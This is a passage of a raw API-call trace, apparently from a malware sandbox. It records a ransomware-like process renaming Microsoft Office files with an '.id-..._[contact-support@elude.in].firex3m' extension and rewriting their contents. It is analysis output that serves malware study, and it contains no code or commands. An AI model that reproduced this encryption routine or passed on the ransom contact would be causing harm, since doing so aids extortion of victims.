Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffc6c | out: lpFindFileData=0x46ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLIP.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CLIPWM~1.FIR")) returned 0x6d5200 [0136.776] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0136.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0136.776] GetProcessHeap () returned 0x630000 [0136.776] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8e1) returned 0x697da8 [0136.777] GetProcessHeap () returned 0x630000 [0136.777] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x8e1) returned 0x6e5368 [0136.777] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.777] ReadFile (in: hFile=0x718, lpBuffer=0x697da8, nNumberOfBytesToRead=0x8c0, lpNumberOfBytesRead=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x697da8*, lpNumberOfBytesRead=0x46fff0c*=0x8c0, lpOverlapped=0x0) returned 1 [0136.786] GetProcessHeap () returned 0x630000 [0136.786] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318558 [0136.786] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.786] WriteFile (in: hFile=0x718, lpBuffer=0x6e5368*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e5368*, lpNumberOfBytesWritten=0x46fff0c*=0x8c0, lpOverlapped=0x0) returned 1 [0136.786] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.786] WriteFile (in: hFile=0x718, lpBuffer=0x6e5c27*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6e5c27*, lpNumberOfBytesWritten=0x46fff0c*=0x20, lpOverlapped=0x0) returned 1 [0136.787] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.787] WriteFile (in: hFile=0x718, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x46fff0c*=0x4, lpOverlapped=0x0) returned 1 [0136.787] CloseHandle (hObject=0x718) returned 1 [0136.788] GetProcessHeap () returned 0x630000 [0136.788] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e5368 | out: hHeap=0x630000) returned 1 [0136.788] GetProcessHeap () returned 0x630000 [0136.788] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x697da8 | out: hHeap=0x630000) returned 1 [0136.788] GetProcessHeap () returned 0x630000 [0136.788] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318558 | out: hHeap=0x630000) returned 1 [0136.788] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0136.788] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffcc4 | out: lpFindFileData=0x46ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x177a051c, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x8fa, dwReserved0=0xb407496, dwReserved1=0x697da0, cFileName="CLIP.WMF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CLIPWM~1.FIR")) returned 0x6d5540 [0136.788] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0136.788] Sleep (dwMilliseconds=0x1) [0138.491] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Corbel.xml", len=0x50 | out: pbstr=0x46fff7c*="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Corbel.xml") returned 1 [0138.491] GetProcessHeap () returned 0x630000 [0138.491] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x72b0508, Size=0x1a54) returned 0x72b0508 [0138.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Corbel.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\corbel.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0138.506] CloseHandle (hObject=0x68c) returned 1 [0138.506] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0138.506] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Corbel.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\corbel.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Corbel.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\corbel.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0138.506] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.507] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Corbel.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffc6c | out: lpFindFileData=0x46ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdbd, dwReserved0=0xf800da22, dwReserved1=0x330078, cFileName="Corbel.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CORBEL~1.FIR")) returned 0x6d4f00 [0138.507] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0138.507] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Corbel.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\corbel.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0138.507] GetProcessHeap () returned 0x630000 [0138.507] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xdc1) returned 0x727d80 [0138.507] GetProcessHeap () returned 0x630000 [0138.507] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xdc1) returned 0x673b38 [0138.507] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.507] ReadFile (in: hFile=0x68c, lpBuffer=0x727d80, nNumberOfBytesToRead=0xda0, lpNumberOfBytesRead=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x727d80*, lpNumberOfBytesRead=0x46fff0c*=0xda0, lpOverlapped=0x0) returned 1 [0138.521] GetProcessHeap () returned 0x630000 [0138.521] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317838 [0138.521] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.521] WriteFile (in: hFile=0x68c, lpBuffer=0x673b38*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x673b38*, lpNumberOfBytesWritten=0x46fff0c*=0xda0, lpOverlapped=0x0) returned 1 [0138.522] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.522] WriteFile (in: hFile=0x68c, lpBuffer=0x6748d7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6748d7*, lpNumberOfBytesWritten=0x46fff0c*=0x20, lpOverlapped=0x0) returned 1 [0138.522] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.522] WriteFile (in: hFile=0x68c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x46fff0c*=0x4, lpOverlapped=0x0) returned 1 [0138.522] CloseHandle (hObject=0x68c) returned 1 [0138.522] GetProcessHeap () returned 0x630000 [0138.522] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x673b38 | out: hHeap=0x630000) returned 1 [0138.522] GetProcessHeap () returned 0x630000 [0138.522] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x727d80 | out: hHeap=0x630000) returned 1 [0138.522] GetProcessHeap () returned 0x630000 [0138.522] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317838 | out: hHeap=0x630000) returned 1 [0138.522] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.522] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Corbel.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffcc4 | out: lpFindFileData=0x46ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11482f7f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18841b80, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xde1, dwReserved0=0xb407496, dwReserved1=0x727d78, cFileName="Corbel.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CORBEL~1.FIR")) returned 0x6d5200 [0138.522] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0138.522] Sleep (dwMilliseconds=0x1) [0138.540] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Consolas-Verdana.xml", len=0x5a | out: pbstr=0x46fff7c*="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Consolas-Verdana.xml") returned 1 [0138.540] GetProcessHeap () returned 0x630000 [0138.540] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x72b0508, Size=0x1a4c) returned 0x72b0508 [0138.540] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Consolas-Verdana.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\consolas-verdana.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0138.540] CloseHandle (hObject=0x68c) returned 1 [0138.540] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0138.540] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Consolas-Verdana.xml" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\consolas-verdana.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Consolas-Verdana.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\consolas-verdana.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0138.542] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.542] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Consolas-Verdana.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffc6c | out: lpFindFileData=0x46ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdda, dwReserved0=0x12, dwReserved1=0xfffffff8, cFileName="Consolas-Verdana.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CONSOL~1.FIR")) returned 0x6d5240 [0138.542] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0138.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Consolas-Verdana.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme fonts\\consolas-verdana.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0138.542] GetProcessHeap () returned 0x630000 [0138.542] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xde1) returned 0x72443f8 [0138.542] GetProcessHeap () returned 0x630000 [0138.542] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xde1) returned 0x7240bd8 [0138.542] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.542] ReadFile (in: hFile=0x68c, lpBuffer=0x72443f8, nNumberOfBytesToRead=0xdc0, lpNumberOfBytesRead=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x72443f8*, lpNumberOfBytesRead=0x46fff0c*=0xdc0, lpOverlapped=0x0) returned 1 [0138.557] GetProcessHeap () returned 0x630000 [0138.557] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317838 [0138.557] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.557] WriteFile (in: hFile=0x68c, lpBuffer=0x7240bd8*, nNumberOfBytesToWrite=0xdc0, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7240bd8*, lpNumberOfBytesWritten=0x46fff0c*=0xdc0, lpOverlapped=0x0) returned 1 [0138.557] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.557] WriteFile (in: hFile=0x68c, lpBuffer=0x7241997*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7241997*, lpNumberOfBytesWritten=0x46fff0c*=0x20, lpOverlapped=0x0) returned 1 [0138.557] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.557] WriteFile (in: hFile=0x68c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x46fff0c*=0x4, lpOverlapped=0x0) returned 1 [0138.558] CloseHandle (hObject=0x68c) returned 1 [0138.558] GetProcessHeap () returned 0x630000 [0138.558] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7240bd8 | out: hHeap=0x630000) returned 1 [0138.558] GetProcessHeap () returned 0x630000 [0138.558] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72443f8 | out: hHeap=0x630000) returned 1 [0138.558] GetProcessHeap () returned 0x630000 [0138.558] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317838 | out: hHeap=0x630000) returned 1 [0138.558] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0138.558] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Fonts\\Consolas-Verdana.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffcc4 | out: lpFindFileData=0x46ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1888df8d, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xdfe, dwReserved0=0x46ffd20, dwReserved1=0x72443f8, cFileName="Consolas-Verdana.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CONSOL~1.FIR")) returned 0x6d5200 [0138.558] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0138.558] Sleep (dwMilliseconds=0x1) [0139.979] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms", len=0x5c | out: pbstr=0x46fff7c*="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms") returned 1 [0139.979] GetProcessHeap () returned 0x630000 [0139.979] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7203db8, Size=0x1c60) returned 0x7203db8 [0139.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0142.414] CloseHandle (hObject=0x68c) returned 1 [0142.416] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0142.421] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0143.824] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0143.824] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffc6c | out: lpFindFileData=0x46ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe46b79f0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe46b79f0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe4881625, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x54e9, dwReserved0=0x28000028, dwReserved1=0x640075, cFileName="HomeStudentDemoR_BypassTrial180-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HOMEST~3.FIR")) returned 0x6d4e00 [0143.824] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0143.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0143.824] GetProcessHeap () returned 0x630000 [0143.824] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x5501) returned 0x726a180 [0143.824] GetProcessHeap () returned 0x630000 [0143.824] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x5501) returned 0x726f690 [0143.824] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.824] ReadFile (in: hFile=0x68c, lpBuffer=0x726a180, nNumberOfBytesToRead=0x54e0, lpNumberOfBytesRead=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x726a180*, lpNumberOfBytesRead=0x46fff0c*=0x54e0, lpOverlapped=0x0) returned 1 [0145.603] GetProcessHeap () returned 0x630000 [0145.603] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317c98 [0145.603] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.604] WriteFile (in: hFile=0x68c, lpBuffer=0x726f690*, nNumberOfBytesToWrite=0x54e0, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x726f690*, lpNumberOfBytesWritten=0x46fff0c*=0x54e0, lpOverlapped=0x0) returned 1 [0145.952] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.952] WriteFile (in: hFile=0x68c, lpBuffer=0x7274b6f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7274b6f*, lpNumberOfBytesWritten=0x46fff0c*=0x20, lpOverlapped=0x0) returned 1 [0145.952] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0145.952] WriteFile (in: hFile=0x68c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x46fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x46fff0c*=0x4, lpOverlapped=0x0) returned 1 [0145.952] CloseHandle (hObject=0x68c) returned 1 [0145.952] GetProcessHeap () returned 0x630000 [0145.952] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x726f690 | out: hHeap=0x630000) returned 1 [0145.955] GetProcessHeap () returned 0x630000 [0145.955] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x726a180 | out: hHeap=0x630000) returned 1 [0145.955] GetProcessHeap () returned 0x630000 [0145.955] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317c98 | out: hHeap=0x630000) returned 1 [0145.955] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x46fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0145.956] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x46ffcc4 | out: lpFindFileData=0x46ffcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe46b79f0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe46b79f0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x1cf1ccc0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x550d, dwReserved0=0xb407496, dwReserved1=0x726a178, cFileName="HomeStudentDemoR_BypassTrial180-ppd.xrm-ms.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="HOMEST~3.FIR")) returned 0x6d5480 [0145.956] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0145.956] Sleep (dwMilliseconds=0x1) [0146.024] SysReAllocStringLen (in: pbstr=0x46fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCHART.CHM", len=0x41 | out: pbstr=0x46fff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCHART.CHM") returned 1 [0146.024] GetProcessHeap () returned 0x630000 [0146.024] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x71f7c78, Size=0x273c) returned 0x71f7c78 [0146.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ORGCHART.CHM" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\orgchart.chm"), dwDesiredAccess=0xc0000000, 